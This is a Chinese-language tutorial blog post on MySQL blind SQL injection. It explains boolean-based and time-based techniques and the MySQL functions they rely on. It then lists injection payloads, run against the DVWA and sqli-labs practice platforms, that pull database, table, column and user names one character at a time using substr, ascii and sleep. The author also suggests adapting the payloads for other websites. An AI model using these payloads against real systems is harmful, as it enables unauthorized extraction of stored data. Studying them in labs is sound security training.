热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

mysql盲注查询语句_SQL注入学习笔记——盲注

概念:如果每个应用程序都能按照我们输入的SQL命令返回我们需要的数据,那应用程序就无安全性可言了!为此,程序设计者们想到一个

概念:

如果每个应用程序都能按照我们输入的 SQL 命令返回我们需要的数据,那应用程序就无安全性可言了!为此,程序设计者们想到一个办法,那就是无论输入何种命令,只要 SQL 语句导致数据库产生错误,那么应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,回显方式的 SQL 注入办法就无法使用了。盲注,即在 SQL 注入过程中,SQL 语句执行选择后,选择的数据不能回显到前端,需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

盲注类型:

盲注分为两类:

一、 基于布尔型 SQL 盲注;

• 基于布尔型 SQL 盲注即在 SQL 注入过程中,应用程序仅仅返回 True(页面)和 False(页面)。

• 无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。

二、 基于时间型 SQL 盲注;注入 SQL 代码之后,存在以下两种情况:

• 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行,那么 Web 应用的页面显示正确(原始页面)。

• 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入),但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。

产生一个疑问:注入的 SQL 代码到底被后台数据库执行了没有?即 Web 应用程序是否存在 SQL 注入?

面对这种情况,之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时,一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入,即基于时间型 SQL 盲注。

Mysql 盲注关键函数

count(column_name) 函数:函数返回指定列的值的数目

2850c71331715ce79e55f3abe7ff930a.png

limit(m,n)函数:m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。(m 可设为 0)

211001004fe2684e5b7f93f51b102562.png

length( ) 函数:length( )函数返回文本字段中值的长度。

704a64c14534c118a34643c6ad31097e.png

mid()\substr()\substring()和left()函数:这前三个函数用法基本相同,这四个都是用于截取字符串。

用法:mid\substr\substring (string,start,length):

• string(必需):规定要返回其中一部分的字符串。

• start(必需):规定开始位置(起始值是 1)。

• length(可选):要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

ba5da25065b375140728af00575252b0.png

893629386858b86a902b059415e8d9e4.png

left(string,length)函数:

• string(必需):规定要返回其中一部分的字符串。

• length(可选):规定被返回字符串的前 length 长度的字符。

9d5252fd902b05c72b7e23ed6c38985b.png

ascii()函数:将字符转化为 ascii 码。

如果是字符串,则返回的最左字符的数值。也就是第一个字符的 ascii 值。如果字符串为空字符串。则返回 NULL,如果字符串为 NULL。 ASCII()返回数值是从 0 到 255 随机;

69bd0056a5bd6629a6ec28e44950e7b7.png

if()函数:逻辑判断,在基于时间型 SQL 盲注中,经常使用条件语句来判断操作是否正确。

if(expr1,expr2,expr3) 如果 expr1 为真,则 IF()函数执行 expr2 语句; 否则 IF()函数执行 expr3 语句。

这里如果条件 ascii(substr(database(),1,1))>1 成立,则执行 sleep(5),否则执行 1。

86f64dcec4d7b383881611548cebc54c.png

sleep()函数:延迟查询,

sleep(seconds) 即 sleep() 函数代码执行延迟若干秒。

上面:sleep(3)设置查询停留3秒,sleep函数返回值是0,查询时间为3秒。

下面:sleep(3)设置查询停留3秒,当查询逻辑错误时sleep函数不执行暂停,查询时间为0秒。结果为空。

b29a0f5783e5595b0acad31e2076431f.png

由于 sleep()函数返回值为 0,因此执行 select user from users where user_id=1 and sleep(3),执行能停留 3 秒,但是结果为空。

cf0fbd9232d5479103b81b18db8380cc.png

基于布尔盲注

上面已经介绍过了布尔盲注的概念了,这里直接构造语句了。实验的话可以去sqli-labs的第8关,或者去dvwa平台都可以,如果没安装的可以翻翻我前面的随笔,或者自己去百度。

下面用的是dvwa,所以在自己实际注入网站过程中自行更改。

注意:看清括号的对应关系,实际注入语句时候要注意闭合,如“--+”或者“#”之类的。

1、 判断当前数据库名长度与数据库名

and length(database())>n  //判断当前数据库长度

and ascii(substr(database(),m,1))>n   //截取数据库名第 m 个字符并转换为 ascii 码

2、 判断数据库的表长度与表名

and length((select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1))>n   //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables wheretable_schema='dvwa' limit 0,1),m,1))>n   //截取第一行表名的第 m 个字符串并转换为ascii 码。

3、 判断数据库的字段名长度与字段名称

and length((select column_name from information_schema.columns wheretable_name='users' limit 0,1))>n //判断表中字段名的长度

and ascii(substr((select column_name from information_schema.columns wheretable_name='users' limit 0,1),m,1))>n //截取表中字段的第 m 字符串并转换为 ascii 码

4、 判断字段的内容长度与内容字符串

and length((select user from users limit 0,1))>1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串并转换为ascii码

基于时间盲注

因为盲注过于繁琐,只介绍一下语句,这里的库、表都是sqli-labs的,所以自己在注入别的网站时候自行更改。

其实我们看完之后就会发现,其实注入都是相通的,只需要改一下特定的payload就可以了。

1、判断注入类型

数值型注入:

1 and sleep(5) and 1=1  //语句正确,有查询结果,sleep()函数执行延迟 3 秒

1 and sleep(5) and 1=2  //语句错误,查询未延迟

字符串型注入:

id=1' and sleep(5) and '1'='1  //语句正确,有查询结果,sleep()函数执行延迟 3 秒

id=1' and sleep(5) and '1'='2  //语句错误,查询未延迟

2、猜解当前数据库名

id=1'  and ascii(substr(database(),m,1))>n and sleep(3)--+ 或者  id=1' and if(ascii(substr(database(),m,1)) > n, sleep(3),1)--+

这里就不解释 m和n的含义了,上面有。

3、猜解当前数据库表名

id=1'and ascii(substr((select table_name frominformation_schema.tables where table_schema=database( ) limita,1),m,1))>n and sleep(3) --+

或者

id=1' and if(ascii(substr((select table_name frominformation_schema.tables where table_schema = database() limit0,1),1,1))>1,sleep(3),1)--+

4、猜解当前数据库的字段名

id=1' and ascii(substr((select column_name frominformation_schema.columns where table_name=’users’ limita,1),m,1))>n and sleep(3)--+

5、猜解各个字段对应的内容

id=1'and ascii(substr((select username from security.users limita,1),m,1))>n and sleep(3)--+

其实盲注很少自己手工注入,一般都是用sqlmap工具跑,后面会提到。



推荐阅读
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • PDO MySQL
    PDOMySQL如果文章有成千上万篇,该怎样保存?数据保存有多种方式,比如单机文件、单机数据库(SQLite)、网络数据库(MySQL、MariaDB)等等。根据项目来选择,做We ... [详细]
  • 我们有(据我所知)星型模式SQL数据库中的数据文件。该数据库有5个不同的文件,扩展名为 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
author-avatar
财气冲天6_757
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有